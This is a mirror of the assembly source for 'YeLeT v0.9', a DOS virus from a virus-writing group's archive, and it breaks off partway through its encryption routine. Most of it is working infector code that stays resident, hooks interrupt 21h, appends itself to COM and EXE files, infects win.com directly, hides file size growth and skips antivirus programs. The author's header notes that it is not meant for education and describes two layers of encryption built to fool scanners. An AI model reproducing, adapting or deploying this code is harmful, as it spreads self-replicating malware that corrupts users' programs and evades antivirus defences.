mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1013 lines
35 KiB
NASM
1013 lines
35 KiB
NASM
comment $
|
|
|
|
++++++++++++++++++++++++++++++ YeLeT v0.9 ++++++++++++++++++++++++++++++++++
|
|
|
|
This is YeLeT version 0.9, it is not the final version, i wanted to
|
|
add some more stuff but didn't get it done until we released CB #4.
|
|
Also this is NOT for educational purposes :) because its HIGHLY
|
|
unoptimized (... well, but it werx!)
|
|
I know that this virus is getting detected by AVP as 'Suspicion
|
|
Type_ComExeTsr' (don't know about other scanners) but i don't care about
|
|
that yet as its just a beta version, a final version (with many
|
|
improvments) will sometimes be available from the CB webpage.
|
|
|
|
Anyway, YeLeT stays resident and hooks Int 21h (func: 4Bh) and infects
|
|
MZ/ZM EXE and COM files both in plain DOS and after loading Winblows.
|
|
It uses 2 encryption layers, the second one uses just simple XOR (with
|
|
some bruteforce cracking so the key doesn't have to be stored in the
|
|
code) and the first layer uses my own Unoptimized-Viral-RC4 routine
|
|
(this routine doesn't use any bruteforce cracking routines as it would
|
|
make the user a bit suspicious if files would take billions of years to
|
|
load ;-)). Also it uses simple DTA-size stealth, direct infection of
|
|
win.com, and it avoids infection of some AV programs and archivers.
|
|
|
|
Credits & Greets go to:
|
|
|
|
Spanska - for some useful IDEAs!! :-)
|
|
Bruce Schneier - for the book Applied Cryptography (i used the RC4
|
|
algorithm described in his book).
|
|
ISBN - 0-471-11709-9 -
|
|
AVP - their support sucks, they always just tell you to
|
|
wait for the next update, but their scanner is the
|
|
best! :-)
|
|
Horny Toad - thanks for sticking together our magazines all the
|
|
time!
|
|
Opic - thanks for helping him ^^^ out with the mag this
|
|
time. ;-)
|
|
|
|
... and before the interesting stuff beginns, here is a description of
|
|
RC4 (from 'Applied Cryptography'):
|
|
|
|
- The algorithm works in OFB: The keystream is independent of the
|
|
plaintext. It has a 8 * 8 S-box: S[0], S[1], ... S[255]. The entries
|
|
are a permutation of the numbers 0 through 255, and the permutation is
|
|
a function of the variable-length key. It has two counters, i and j,
|
|
initialized at zero.
|
|
|
|
i = (i + 1) mod 256
|
|
j = (j + S[i]) mod 256
|
|
swap S[i] and S[j]
|
|
t = (S[i] + S[j]) mod 256
|
|
K = S[t]
|
|
|
|
The byte K is XORed with the plaintext to produce ciphertext or XORed
|
|
with the ciphertext to produce plaintext.
|
|
|
|
- Initializing the S-box is also easy. First fill it linearly:
|
|
S[0] = 0, S[1] = 1,... , S[255] = 255
|
|
Then fill another 256-byte array with the key, repeating the key as
|
|
often as necessary to fill the entire array: K[0], K[1],... K[255]. Set
|
|
the index j to zero, then:
|
|
|
|
for i = 0 to 255:
|
|
j = (j + S[i] + K[i]) mod 256
|
|
swap S[i] and S[j]
|
|
|
|
Thats it, please send bug reports to spooky@nym.alias.net :-)
|
|
|
|
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
|
|
|
$
|
|
|
|
.model tiny ; .model virus
|
|
.286 ; allow 286 instructions (286's are needed for
|
|
; pusha/popa)
|
|
.code ; code begins here
|
|
ORG 0CBh ; Brought to you by CB ;-)
|
|
jumps ; automatically change conditional jumps which are
|
|
; bigger then -128/+127 bytes.
|
|
; some constants
|
|
com equ 0 ; used to detect which 'restore routine' to run
|
|
exe equ 1
|
|
off equ 0 ; archiver executed? (used in the stealth routine)
|
|
on equ 1 ;
|
|
|
|
exit_exe: ; only used at the first execution
|
|
mov ax,4c00h
|
|
int 21h
|
|
|
|
start: ; entry point
|
|
|
|
|
|
call delta ; get a delta offset
|
|
delta:
|
|
pop bp
|
|
sub bp,offset delta
|
|
|
|
push ds ; save DS and ES (point to the PSP) for later use
|
|
push es ; when returning control to an exe file
|
|
|
|
push cs ; DS = ES = CS
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
|
|
lea si,[bp+xor_crypt_start] ; simple bruteforce attack to find the
|
|
bruteforce_loopy: ; decryption key (like Spanskas IDEA
|
|
mov al,byte ptr cs:[si] ; virus). it fools any scanner which
|
|
xor al,byte ptr cs:[bp+xor_value] ; doesn't have something like AVP's 'code-
|
|
cmp al,90h ; analyzer' function.
|
|
je found_it
|
|
inc byte ptr cs:[bp+xor_value]
|
|
jmp bruteforce_loopy
|
|
|
|
|
|
found_it:
|
|
; decrypt virus using a simple XOR algorithm
|
|
; from xor_crypt_start
|
|
mov di,si ; to xor_crypt_start
|
|
mov cx,the_end - xor_crypt_start ; the_end - xor_crypt_start byte's
|
|
call crypt ; decrypt it
|
|
jmp xor_crypt_start ; jump to the now decrypted part
|
|
|
|
xor_value db 0 ; en/decryption key used by the XOR encryption
|
|
|
|
|
|
crypt: ; en/decryption routine
|
|
lodsb ; load one byte from DS:SI into AL
|
|
xor al,byte ptr cs:[bp+xor_value] ; XOR it with xor_value
|
|
stosb ; store byte in AL at ES:DI
|
|
loop crypt ; repeat until CX = 0
|
|
ret ; return
|
|
|
|
xor_crypt_start: ; - xor encrypted part begins here -
|
|
|
|
nop ; 'checksum' used by bruteforce decryption
|
|
; routine
|
|
|
|
cmp byte ptr cs:[bp+first],on
|
|
je rc4_crypt_start ; if its the first execution we do not decrypt
|
|
; the code using RC4, just jump over it
|
|
|
|
mov dx,42 ; expand the 42 byte key into a 256 byte
|
|
call rc4expandkey ; array
|
|
|
|
; decrpyt code using RC4,
|
|
lea si,[bp+rc4_crypt_start] ; from rc4_crypt_start
|
|
mov di,si ; to rc4_crypt_start
|
|
mov dx,the_end - rc4_crypt_start ; the_end - rc4_crypt_start bytes
|
|
call rc4crypt ; decrypt it
|
|
jmp rc4_crypt_start ; jump over the en/decryption routines.
|
|
|
|
|
|
rc4expandkey proc
|
|
pusha
|
|
mov byte ptr [bp+key_ptr],0
|
|
|
|
lea di,[bp+rc4state] ; fill the rc4state array with 0 .. 255
|
|
xor ax,ax
|
|
linear_loopy:
|
|
stosb
|
|
inc al
|
|
jnz linear_loopy
|
|
|
|
xor ax,ax ; J = 0
|
|
xor bx,bx ; I = 0
|
|
mutate_loopy:
|
|
|
|
lea si,[bp+rc4state]
|
|
add si,bx
|
|
mov ch,cs:[si] ; CH = S[i]
|
|
|
|
push bx
|
|
mov bl,[bp+key_ptr]
|
|
|
|
lea si,[bp+rc4key]
|
|
add si,bx
|
|
mov cl,cs:[si] ; CL = K[i]
|
|
|
|
inc [bp+key_ptr]
|
|
cmp [bp+key_ptr],dl ; dl = keylength ... reset key_ptr?
|
|
jne no_reset
|
|
mov [bp+key_ptr],0
|
|
no_reset:
|
|
pop bx
|
|
|
|
add al,cl ; J = J + K[i]
|
|
add al,ch ; J = J + S[i]
|
|
mov di,ax ; DI = J
|
|
|
|
; swap (S[i], S[j])
|
|
lea si,[bp+rc4state]
|
|
add si,bx
|
|
mov al,cs:[si] ; al = S[i]
|
|
|
|
mov [bp+temp],al ; temp = S[i]
|
|
|
|
lea si,[bp+rc4state]
|
|
add si,di
|
|
mov al,cs:[si] ; al = S[j]
|
|
|
|
lea si,[bp+rc4state]
|
|
add si,bx
|
|
mov cs:[si],al ; S[i] = S[j]
|
|
|
|
mov al,[bp+temp] ; al = S[i]
|
|
|
|
lea si,[bp+rc4state]
|
|
add si,di
|
|
mov cs:[si],al ; S[j] = S[i]
|
|
|
|
inc bl ; I = I + 1
|
|
jnz mutate_loopy ; 256 loops done? yes - exit
|
|
popa
|
|
ret
|
|
rc4expandkey endp
|
|
|
|
|
|
rc4crypt proc
|
|
pusha
|
|
mov word ptr cs:[bp+dest],di
|
|
xor bx,bx
|
|
xor di,di
|
|
xor ax,ax
|
|
xor cx,cx
|
|
crypt_loopy:
|
|
inc bl ; I = I + 1
|
|
|
|
mov cx,di ; CX = DI = J
|
|
push di
|
|
lea di,[bp+rc4state]
|
|
add di,bx
|
|
add cl,byte ptr cs:[di]
|
|
pop di
|
|
mov di,cx ; J = J + S[i]
|
|
|
|
push di
|
|
lea di,[bp+rc4state]
|
|
add di,bx
|
|
mov al,byte ptr cs:[di] ; swap (S[i], S[j])
|
|
pop di
|
|
mov byte ptr cs:[bp+temp],al
|
|
push si
|
|
lea si,[bp+rc4state]
|
|
add si,di
|
|
mov al,byte ptr cs:[si]
|
|
lea si,[bp+rc4state]
|
|
add si,bx
|
|
mov byte ptr cs:[si],al
|
|
pop si
|
|
mov al,byte ptr cs:[bp+temp]
|
|
push si
|
|
lea si,[bp+rc4state]
|
|
add si,di
|
|
mov byte ptr cs:[si],al
|
|
pop si
|
|
|
|
push si
|
|
lea si,[bp+rc4state]
|
|
add si,di
|
|
mov al,byte ptr cs:[si] ; al = S[j]
|
|
lea si,[bp+rc4state]
|
|
add si,bx
|
|
add al,byte ptr cs:[si] ; t = al = S[i] + S[j]
|
|
pop si
|
|
|
|
push di
|
|
mov di,ax
|
|
push si
|
|
lea si,[bp+rc4state]
|
|
add si,di
|
|
mov al,byte ptr cs:[si] ; K = al = S[t]
|
|
pop si
|
|
|
|
mov di,word ptr cs:[bp+dest] ; DI = destination
|
|
mov cl,cs:[si] ; cl = byte to en/decrypt
|
|
xor cl,al ; cl = cl xor K
|
|
mov cs:[di],cl ; destination = cl
|
|
inc word ptr cs:[bp+dest] ; increase destination
|
|
inc si ; increase source
|
|
pop di
|
|
|
|
dec dx ; decrease data length
|
|
jnz crypt_loopy ; if zero exit
|
|
popa
|
|
ret
|
|
rc4crypt endp
|
|
|
|
key_ptr db 0
|
|
dest dw ?
|
|
temp db ?
|
|
rc4state db 256 dup (?)
|
|
rc4key db 42 dup(?)
|
|
|
|
first db on
|
|
|
|
|
|
rc4_crypt_start: ; - RC4 encrypted part begins here -
|
|
|
|
mov byte ptr cs:[bp+first],off
|
|
mov byte ptr cs:[bp+archiver],off
|
|
|
|
mov ax,0deadh ; installation check...
|
|
int 21h ; why do i use 0deadh all the time???? :]
|
|
|
|
cmp bx,0deadh ; if the installation check returns 0deadh
|
|
je get_outta_here ; we are already in memory, and restore
|
|
; control to the host
|
|
|
|
go_tsr: ; if not, we go resident
|
|
|
|
pop es ; pop ES for a sec, so we can use the PSP
|
|
push es ; push it again, for later use
|
|
|
|
sub word ptr es:[2], 140h ; decrease the top of memory by 140h * 16 byte
|
|
; from the PSP
|
|
|
|
mov ax,es ; AX = ES
|
|
dec ax ; AX - 1
|
|
mov es,ax ; ES = AX (= MCB)
|
|
|
|
sub word ptr es:[3], 140h ; decrease the free amount of memory after the
|
|
; program by 140h * 16 bytes (5kB) from the
|
|
; MCB
|
|
|
|
mov ax,40h
|
|
mov es,ax ; ES = AX = 40h (= Bios Data Segment)
|
|
|
|
sub word ptr es:[13h],5 ; decrease the free memory by 5 * 1024 bytes
|
|
; (again 5kB) from the Bios
|
|
|
|
mov ax,word ptr es:[13h] ; AX = free memory (in kB)
|
|
shl ax,6 ; we need it in paragraphs (segments)
|
|
; free segment = AX * 1024 / 16
|
|
|
|
mov es,ax ; ES = AX (= free segment)
|
|
|
|
push cs
|
|
pop ds ; DS = CS
|
|
|
|
mov cx,the_end - start ; the_end - start bytes
|
|
lea si,[bp+start] ; from DS:start
|
|
xor di,di ; to ES:0
|
|
rep movsb ; copy the virus into the free segment
|
|
|
|
xor ax,ax
|
|
mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table)
|
|
|
|
lea ax,new_int_21h ; AX = offset of the new interrupt 21h routine
|
|
sub ax,offset start ; substract 'offset start' because we moved it
|
|
; down to offset 0
|
|
mov bx,es ; BX = ES (= segment where the new interrupt
|
|
; routine is in)
|
|
|
|
cli ; disable ints
|
|
xchg ax,word ptr ds:[21h*4] ; save the old interrupt's address in BX and
|
|
xchg bx,word ptr ds:[21h*4+2] ; AX, and overwrite it with the new one
|
|
mov word ptr es:[original_int_21h-offset start],ax ; save AX and BX in
|
|
mov word ptr es:[original_int_21h+2-offset start],bx ; the virus's code
|
|
sti ; enable ints again
|
|
|
|
push cs ; DS = ES = CS
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
|
|
;;;;
|
|
|
|
get_outta_here:
|
|
|
|
; direct infection of win.com begins here,
|
|
push word ptr cs:[bp+state] ; save 'state' as it will be changed in the
|
|
; infection routine.
|
|
|
|
lea si,[bp+header] ; save the first 3 bytes in original_3, needed
|
|
lea di,[bp+original_3] ; for later restoration if its a com file.
|
|
movsw
|
|
movsb
|
|
|
|
; copy the original IP, CS, SS, SP
|
|
lea si,[bp+old_ip] ; from old_ip
|
|
lea di,[bp+original_ip] ; to original_ip
|
|
mov cx,4 ; 4 words to copy
|
|
rep movsw ; needed for restoring control if its an exe
|
|
; file.
|
|
|
|
lea ax,[bp+wincom_done] ; save the return address in
|
|
mov word ptr cs:[bp+original_int_21h],ax ; original_int_21h (used to
|
|
mov word ptr cs:[bp+original_int_21h+2],cs ; return from the 'fake' int21h
|
|
; 4Bh routine.
|
|
|
|
mov ah,4bh ; fake file execution (= infection)
|
|
lea dx,[bp+wincom] ; c:\windows\win.com
|
|
jmp new_int_21h ; 'int 21h'
|
|
|
|
wincom_done: ; return here after infecting win.com
|
|
|
|
pop ax ; restore the 'state'
|
|
|
|
cmp al,com ; check the state if we are com or exe
|
|
je restore_com ; jump to restore_com routine if we are com
|
|
|
|
restore_exe: ; else we must be an exe :)
|
|
|
|
pop es ; restore ES and DS (point to the PSP)
|
|
pop ds
|
|
|
|
mov ax,es ; AX = ES (= PSP)
|
|
add ax,10h ; add 10h paragraphs to AX,
|
|
; 10h * 16 = 100h bytes, so it ignores the
|
|
; PSP and points directly to the beginning of
|
|
; the code/data
|
|
|
|
add word ptr cs:[bp+original_cs],ax ; CS = real CS (as before infection)
|
|
; as the initial CS is 'relative to
|
|
; start of file' we adjust the initial
|
|
; CS value by adding AX (beginning of
|
|
; code/data)
|
|
add ax,word ptr cs:[bp+original_ss] ; same for initial SS, as it is a relative
|
|
; value too
|
|
cli ; disable ints
|
|
mov ss,ax ; SS = real SS
|
|
mov sp,word ptr cs:[bp+original_sp] ; SP = real SP
|
|
sti ; enable ints
|
|
|
|
db 0eah ; jump to the beginning of the host
|
|
original_ip dw ? ; JMP FAR to original_ip,
|
|
original_cs dw ? ; and original_cs (= JMP FAR CS:IP)
|
|
original_sp dw ?
|
|
original_ss dw ?
|
|
|
|
|
|
restore_com: ; this is where we go to restore control if
|
|
; we are a com file
|
|
mov cx,3 ; move the first 3 bytes
|
|
lea si,[bp+original_3] ; from 'header'
|
|
mov di,100h ; to 100h (beginning of com files)
|
|
rep movsb ; copy them..
|
|
|
|
pop es
|
|
pop ds
|
|
|
|
push 100h ; push 100h onto the stack
|
|
ret ; restore control (return to 100h)
|
|
|
|
new_int_24h: ; new crittical error handler
|
|
iret ; just return if its called :)
|
|
original_int_24h dd ?
|
|
|
|
new_int_21h: ; the new interrupt 21h begins here
|
|
pushf ; as always, push flags at first
|
|
cmp ax,0deadh ; install check?
|
|
jne no_installcheck ; no...
|
|
mov bx,ax ; yes!? then BX = AX (= 0deadh)
|
|
popf ; pop flags again
|
|
iret ; and return from interrupt
|
|
|
|
no_installcheck: ; here we go if there was no install check
|
|
|
|
cmp ah,4bh ; is something getting executed?
|
|
je infect ; yes? then goto infect
|
|
cmp ah,4eh ; findfirst?
|
|
je stealth ; yes? - stealth
|
|
cmp ah,4fh ; findnext?
|
|
je stealth ; yes? - stealth
|
|
cmp ah,4ch ; terminate program?
|
|
je exit_prog ;
|
|
jmp restore ; all other functions execute the normal int
|
|
|
|
|
|
|
|
exit_prog:
|
|
push bp
|
|
call exit_delta
|
|
exit_delta:
|
|
pop bp
|
|
sub bp,offset exit_delta
|
|
|
|
mov byte ptr cs:[bp+archiver],off
|
|
pop bp
|
|
jmp restore
|
|
|
|
|
|
|
|
|
|
stealth:
|
|
popf ; restore the flags, they don't matter here.
|
|
push bp ; save BP (changed in the delta routine)
|
|
|
|
call stealth_delta ; well, another delta offset :]
|
|
stealth_delta:
|
|
pop bp
|
|
sub bp,offset stealth_delta
|
|
|
|
pushf
|
|
call dword ptr cs:[bp+original_int_21h] ; fake int 21h call
|
|
|
|
pushf ; save everything (returned flags and regs!)
|
|
pusha
|
|
push es
|
|
push ds
|
|
|
|
mov ah,2fh ; get address of DTA in ES:BX
|
|
int 21h
|
|
|
|
push es ; DS = ES (= DTA), so we can access the
|
|
pop ds ; filename in the dta (by using func 3Dh,..)
|
|
|
|
mov di,bx
|
|
add di,1eh ; DI points to the beginning of the filename
|
|
push di ; save that for later
|
|
mov al,'.' ; search for a dot
|
|
mov cx,13 ; 13 characters max
|
|
cld ; forward direction
|
|
repne scasb ; search while not found and cx <> 0
|
|
|
|
cmp word ptr es:[di],'OC' ; if the extension begins with 'CO' it
|
|
je might_be_com_exe ; 'might' be a com file
|
|
cmp word ptr es:[di],'XE' ; if the extension begins with 'EX' it
|
|
je might_be_com_exe ; 'might' be an exe file
|
|
pop di ; if the extension doesn't begin with
|
|
jmp no_stealth ; 'CO' neither with 'EX' we restore the
|
|
; stack (pop di) and leave the stealth
|
|
; routine.
|
|
|
|
might_be_com_exe:
|
|
cmp byte ptr es:[di+2],'M' ; if the last character of the extension is
|
|
je probably_com_exe ; a 'M' the file is 'probably' a com file :)
|
|
cmp byte ptr es:[di+2],'E' ; blah..
|
|
je probably_com_exe
|
|
pop di ; if its not a com and not an exe we restore
|
|
jmp no_stealth ; the stack again and leave the stealth
|
|
; routine.
|
|
|
|
probably_com_exe:
|
|
pop dx ; restore DX (filename)
|
|
push bx ; save BX (offset of DTA)
|
|
|
|
mov ax,3d00h ; open file at DS:DX for reading
|
|
int 21h
|
|
jnc no_error ; (an error occures if the file is in
|
|
pop bx ; another directory), if so, restore the
|
|
jmp no_stealth ; stack (pop bx) and leave...
|
|
|
|
no_error:
|
|
xchg ax,bx ; put the filehandle into BX
|
|
|
|
push cs
|
|
pop ds ; DS = CS
|
|
|
|
mov ah,3fh ; read
|
|
mov cx,1ch ; 1Ch bytes
|
|
lea dx,[bp+header] ; to 'header'
|
|
int 21h
|
|
|
|
mov ah,3eh ; close the file.
|
|
int 21h
|
|
|
|
pop bx ; restore BX (offset of dta)
|
|
|
|
|
|
cmp word ptr cs:[bp+header],'ZM' ; if the file begins with either 'ZM'
|
|
je check_exe
|
|
cmp word ptr cs:[bp+header],'MZ' ; or 'MZ' it is an exe file,
|
|
je check_exe ; if so it checks if the EXE file is
|
|
; infected.
|
|
|
|
check_com:
|
|
mov cx,the_end - start + 7 ; else it checks the COM file for an
|
|
mov ax,word ptr es:[bx+1ah] ; infection. filesize goes into AX.
|
|
sub ax,(the_end - start)+3+7 ; substract virussize + 3(jmp) + 7(enuns)
|
|
cmp ax,word ptr cs:[bp+header+1] ; if thats equal to the jump in the header
|
|
je stealth_it ; it is already infected and will be
|
|
jmp no_stealth ; stealthed... else, leave the stealth
|
|
; routine.
|
|
|
|
check_exe:
|
|
cmp word ptr cs:[bp+header+12h],'XV' ; if it is an exe file we just check
|
|
jne no_stealth ; the infection marker from the header
|
|
; not infected? - leave
|
|
mov cx,the_end - start
|
|
|
|
stealth_it:
|
|
cmp byte ptr cs:[bp+archiver],on ; if an archiver is running don't
|
|
je no_stealth ; stealth it.
|
|
sub word ptr es:[bx+1ah],cx ; substract the virussize from
|
|
sbb word ptr es:[bx+1ch],0 ; the filesize in the dta.
|
|
|
|
no_stealth:
|
|
pop ds ; restore everything that was pushed
|
|
pop es ; before
|
|
popa
|
|
popf
|
|
pop bp
|
|
retf 2 ; and exit the interrupt, without
|
|
; poping (restoring) the flags!
|
|
|
|
|
|
infect: ; infect the file at DS:DX
|
|
|
|
pusha ; save all regs
|
|
push es ; save DS,
|
|
push ds ; ES
|
|
push dx ; and DX (= offset of the filename)
|
|
|
|
call infect_delta
|
|
infect_delta:
|
|
pop bp
|
|
sub bp,offset infect_delta
|
|
|
|
push ds
|
|
pop es
|
|
|
|
cld
|
|
xor ax,ax
|
|
mov cx,64
|
|
mov di,dx
|
|
repne scasb ; search for the end (zero) of the filename
|
|
|
|
mov ax,word ptr ds:[di-10] ; check for PKzip
|
|
mov bx,word ptr ds:[di-8]
|
|
or ax,2020h ; make it lower case
|
|
or bx,2020h
|
|
cmp ax,'kp'
|
|
je exec_pkzip
|
|
|
|
mov ax,word ptr ds:[di-8] ; check for ARJ and RAR
|
|
mov bx,word ptr ds:[di-6]
|
|
or ax,2020h
|
|
or bx,2020h
|
|
cmp ax,'ra'
|
|
je exec_arj
|
|
cmp ax,'ar'
|
|
je exec_rar
|
|
jmp no_archiver
|
|
|
|
exec_pkzip:
|
|
cmp bx,'iz'
|
|
je exec_archiver
|
|
jmp no_archiver
|
|
|
|
exec_arj:
|
|
cmp bx,'.j'
|
|
je exec_archiver
|
|
jmp no_archiver
|
|
|
|
exec_rar:
|
|
cmp bx,'.r'
|
|
je exec_archiver
|
|
jmp no_archiver
|
|
|
|
exec_archiver:
|
|
mov byte ptr cs:[bp+archiver],on
|
|
|
|
no_archiver:
|
|
std
|
|
mov al,'\'
|
|
mov cx,64
|
|
repne scasb
|
|
mov ax,word ptr ds:[di+2]
|
|
or ax,2020h
|
|
|
|
push cs
|
|
pop es
|
|
|
|
cld
|
|
lea di,[bp+avs]
|
|
mov cx,5
|
|
repne scasw ; search for AV programs....
|
|
jne no_av
|
|
|
|
pop dx
|
|
pop ds
|
|
pop es
|
|
popa
|
|
jmp restore
|
|
|
|
no_av:
|
|
push ds ; set a new crittical error handler (int 24h)
|
|
xor ax,ax
|
|
mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table)
|
|
|
|
lea ax,[bp+new_int_24h] ; AX = offset of the new interrupt 24h routine
|
|
mov bx,cs ; BX = CS (= segment where the new interrupt
|
|
; routine is in)
|
|
cli ; disable ints
|
|
xchg ax,word ptr ds:[24h*4] ; save the old interrupt's address in BX and
|
|
xchg bx,word ptr ds:[24h*4+2] ; AX, and overwrite it with the new one
|
|
mov word ptr cs:[bp+original_int_24h],ax ; save AX and BX in
|
|
mov word ptr cs:[bp+original_int_24h+2],bx ; the virus's code
|
|
sti ; enable ints again
|
|
pop ds
|
|
|
|
mov ax,4300h ; get attributes of filename at DS:DX
|
|
int 21h
|
|
|
|
push cx ; save them
|
|
|
|
mov ax,4301h ; fubarize the attributes
|
|
xor cx,cx
|
|
int 21h
|
|
jc error ; if there was an error while writing to the
|
|
; disk we cancel the infection
|
|
|
|
mov ax,3d02h ; open the file at DS:DX
|
|
int 21h
|
|
jc error
|
|
|
|
xchg ax,bx ; BX = filehandle
|
|
|
|
push cs ; DS = ES = CS
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
|
|
mov ax,5700h ; get file time/date
|
|
int 21h
|
|
|
|
push cx ; save file time
|
|
push dx ; and date
|
|
|
|
mov ah,3fh ; read from file
|
|
mov cx,1ch ; 1Ch bytes
|
|
lea dx,[bp+header] ; to header
|
|
int 21h
|
|
jc close ; can't read from file? then close it...
|
|
cmp ax,1ch ; less then 1ch bytes read?
|
|
jne close ; then close it too...
|
|
|
|
|
|
cmp word ptr cs:[bp+header],'MZ' ; does the header begin with 'ZM'?
|
|
je infect_exe
|
|
|
|
cmp word ptr cs:[bp+header],'ZM' ; does the header begin with 'MZ'?
|
|
je infect_exe
|
|
|
|
infect_com: ; no MZ/ZM? then it must be a com...
|
|
|
|
mov ax,4202h ; set filepointer to the end
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
push ax ; save filesize
|
|
sub ax,(the_end - start) + 3+7 ; decrease it by ('virussize'+3+7)
|
|
cmp ax,word ptr cs:[bp+header+1] ; and compare that value with the 2nd byte
|
|
pop ax ; in the header. (restore filesize)
|
|
je close ; if they match, the file is already
|
|
; infected.
|
|
|
|
sub ax,3 ; if not already infected, we calculate
|
|
mov word ptr cs:[bp+new_jump+1],ax ; a new jump,
|
|
mov byte ptr cs:[bp+state],com ; and change the 'state' to COM.
|
|
|
|
mov ax,4201h ; seeks to EOF - 7 (beginning of ENUNSxx)
|
|
mov cx,-1
|
|
mov dx,-7
|
|
int 21h
|
|
|
|
mov ah,3fh ; read the enuns into a buffer
|
|
lea dx,[bp+enuns]
|
|
mov cx,7
|
|
int 21h
|
|
|
|
add word ptr cs:[bp+enuns+5],the_end - start+7 ; add the virus's size + 7
|
|
; to the word at the end of
|
|
; enuns.
|
|
|
|
call encrypt ; this gets a new en/decryption key, and
|
|
; encrypts the whole virus from
|
|
; xor_crypt_start till the_end and stores
|
|
; the encrypted code at the_end.
|
|
|
|
call append ; append the virus to the end of the file.
|
|
|
|
mov ah,40h ; also add the ENUNSxx to the end of
|
|
lea dx,[bp+enuns] ; COM files, this makes winblows 95 com
|
|
mov cx,7 ; files functioning again :)
|
|
int 21h
|
|
|
|
mov ax,4200h ; go to the beginning of the file
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
mov ah,40h ; and write the new jump over the first
|
|
lea dx,[bp+new_jump] ; 3 byte.
|
|
mov cx,3
|
|
int 21h
|
|
|
|
;;;;
|
|
|
|
jmp close ; jump over the exe infection routine to
|
|
; close the file.
|
|
|
|
|
|
infect_exe: ; the marker was either ZM or MZ so it
|
|
; must be an exe file
|
|
cmp word ptr cs:[bp+header+12h],'XV' ; check for the infection marker at
|
|
je close ; offset 12h in the exe header, if
|
|
; its already there we close the file.
|
|
|
|
cmp word ptr cs:[bp+header+18h],40h ; check for new exe files. if the
|
|
jae close ; offset of the relocation table entry
|
|
; is above or equal 40h it is probably
|
|
; a new exe file and we close it.
|
|
|
|
mov word ptr cs:[bp+header+12h],'XV' ; set infection marker
|
|
mov byte ptr cs:[bp+state],exe ; change state to EXE
|
|
|
|
; save important fields from the
|
|
mov ax,word ptr cs:[bp+header+14h] ; header:
|
|
mov word ptr cs:[bp+old_ip],ax ; offset 14h - initial IP
|
|
mov ax,word ptr cs:[bp+header+16h]
|
|
mov word ptr cs:[bp+old_cs],ax ; offset 16h - initial CS
|
|
mov ax,word ptr cs:[bp+header+0eh]
|
|
mov word ptr cs:[bp+old_ss],ax ; offset 0eh - initial SS
|
|
mov ax,word ptr cs:[bp+header+10h]
|
|
mov word ptr cs:[bp+old_sp],ax ; offset 10h - initial SP
|
|
|
|
mov ax,4202h ; seek to the end of the file
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
mov word ptr cs:[bp+filesize],ax ; save the filesize
|
|
mov word ptr cs:[bp+filesize+2],dx
|
|
|
|
mov cx,512 ; overlay check, get the filesize in 512
|
|
div cx ; byte pages
|
|
|
|
cmp dx,0
|
|
je no_remainder2 ; if there is a remainder in DX
|
|
inc ax ; increase AX
|
|
no_remainder2:
|
|
|
|
cmp word ptr cs:[bp+header+2],dx ; if DX matches offset 2 of the exe hdr
|
|
jne close ; and if AX matches offset 4 there are
|
|
cmp word ptr cs:[bp+header+4],ax ; no overlays, if there are overlays we
|
|
jne close ; have to close the file.
|
|
|
|
mov ax,word ptr cs:[bp+filesize] ; restore filesize in DX:AX
|
|
mov dx,word ptr cs:[bp+filesize+2]
|
|
|
|
push ax ; save filesize again, some
|
|
push dx ; optimizations would be nice here :^)
|
|
|
|
add ax,the_end - start ; add virus size to filesize
|
|
adc dx,0
|
|
|
|
mov cx,512 ; convert it to 512 byte pages
|
|
div cx
|
|
|
|
cmp dx,0 ; as always, if there is a remainder in
|
|
je no_remainder ; DX we have to increase AX.
|
|
inc ax
|
|
no_remainder:
|
|
|
|
mov word ptr cs:[bp+header+4],ax ; save the new filesize at offset 4 and
|
|
mov word ptr cs:[bp+header+2],dx ; 2 in the exe header.
|
|
|
|
pop dx ; restore filesize, again
|
|
pop ax
|
|
|
|
mov cx,16 ; at this time convert it to 16 byte
|
|
div cx ; paragraphs
|
|
|
|
mov cx,word ptr cs:[bp+header+8] ; substract the headersize from it, so
|
|
sub ax,cx ; we get the new CS:IP in AX:DX
|
|
|
|
mov word ptr cs:[bp+header+16h],ax ; save CS
|
|
mov word ptr cs:[bp+header+14h],dx ; save IP
|
|
mov word ptr cs:[bp+header+0eh],ax ; save SS (= CS)
|
|
mov word ptr cs:[bp+header+10h],0fffeh ; save SP
|
|
|
|
call encrypt ; encrypts the virus and stores it at
|
|
; the_end.
|
|
|
|
call append ; append the virus at the end of the file.
|
|
|
|
mov ax,4200h ; seek to the beginning
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21h
|
|
|
|
mov ah,40h ; replace the exe header with the new one.
|
|
lea dx,[bp+header]
|
|
mov cx,1ch
|
|
int 21h
|
|
|
|
;;;;
|
|
|
|
close: ; restore stuff like file time/date,
|
|
; attribs and then close it.
|
|
|
|
mov ax,5701h ; restore the saved file time and date
|
|
pop dx
|
|
pop cx
|
|
int 21h
|
|
|
|
mov ah,3eh ; close it!
|
|
int 21h
|
|
|
|
error:
|
|
pop cx ; restore attribs in CX
|
|
pop dx ; restore the filename
|
|
pop ds ; restore DS
|
|
mov ax,4301h
|
|
int 21h ; set attributes (CX on filename at DS:DX)
|
|
|
|
push ds ; restore the original crittical error handler
|
|
xor ax,ax
|
|
mov ds,ax ; DS = AX = 0 (= Interrupt Vector Table)
|
|
|
|
les dx,cs:[bp+original_int_24h] ; ES:DX = dword ptr cs:[original_int_24h]
|
|
|
|
cli ; disable ints
|
|
mov word ptr ds:[24h*4],dx ; save the old address
|
|
mov word ptr ds:[24h*4+2],es
|
|
sti ; enable ints again
|
|
pop ds
|
|
|
|
pop es ; restore ES and
|
|
popa ; the registers.
|
|
|
|
|
|
restore: ; restore the original interrupt call
|
|
popf ; pop flags
|
|
db 0eah ; and JuMP FAR to
|
|
original_int_21h dd ? ; the real address of int21h
|
|
|
|
encrypt proc ; used to encrypt the virus code
|
|
|
|
mov cx,42 ; fill the rc4key with 42 'random' bytes.
|
|
lea di,[bp+rc4key]
|
|
rc4_key_loopy:
|
|
in al,40h
|
|
